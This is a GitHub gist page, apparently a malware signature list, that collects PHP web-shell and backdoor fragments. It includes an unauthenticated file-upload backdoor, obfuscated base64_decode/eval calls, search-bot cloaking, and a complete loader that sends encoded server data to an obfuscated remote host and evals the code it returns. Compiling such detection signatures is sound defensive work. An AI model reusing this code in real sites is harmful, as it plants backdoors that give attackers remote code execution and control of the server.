Skip to content

Instantly share code, notes, and snippets.

@PalmaSolutions

PalmaSolutions/unknown-malware13.php

Created August 11, 2017 15:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PalmaSolutions/34acc4ea9bfa45e4f01351c81b9a2404 to your computer and use it in GitHub Desktop.
Save PalmaSolutions/34acc4ea9bfa45e4f01351c81b9a2404 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
unknown-malware13.php
<?php function .+? = ''; for($i=0; $i < strlen($o); $i++) .+? .= isset($ .+? ="base64_decode";return $
my $out = `ldd /usr/bin/host`;
$_SERVER)===TRUE){$ .+? }function error_404(){header( .+? ]}=preg_replace("/( .+? ="/".uniqid().uniqid();${
echo 'action error'; .+? echo "publish success";
.chr(48)."KaW".chr(89).
echo $ok ? "SHELL_OK" : "SHELL_BAD";
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found');
<!DOCTYPE html> <?php eval(base64_decode('.+?));?>
// ProGraMmeD By BaD-BoY [
DZS Upload
<title>PHP Unzipper</title>
if (!isset($_COOKIE['___ak7_K4sD_YKh']))
<?php if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; } else { echo 'You are forbidden!'; } ?>
$rretert454352 = "b"."".""."a"."s".""."".""."e"."".""."6"."".""."4"."_".""."".""."d"."e"."c"."o".""."".""."".""."d".""."e";
<title>Envio 2013</title>
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwc2VhcmNoLmNu");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="f0d087afb700247728ddad2263371ee6") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2FkczEu").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment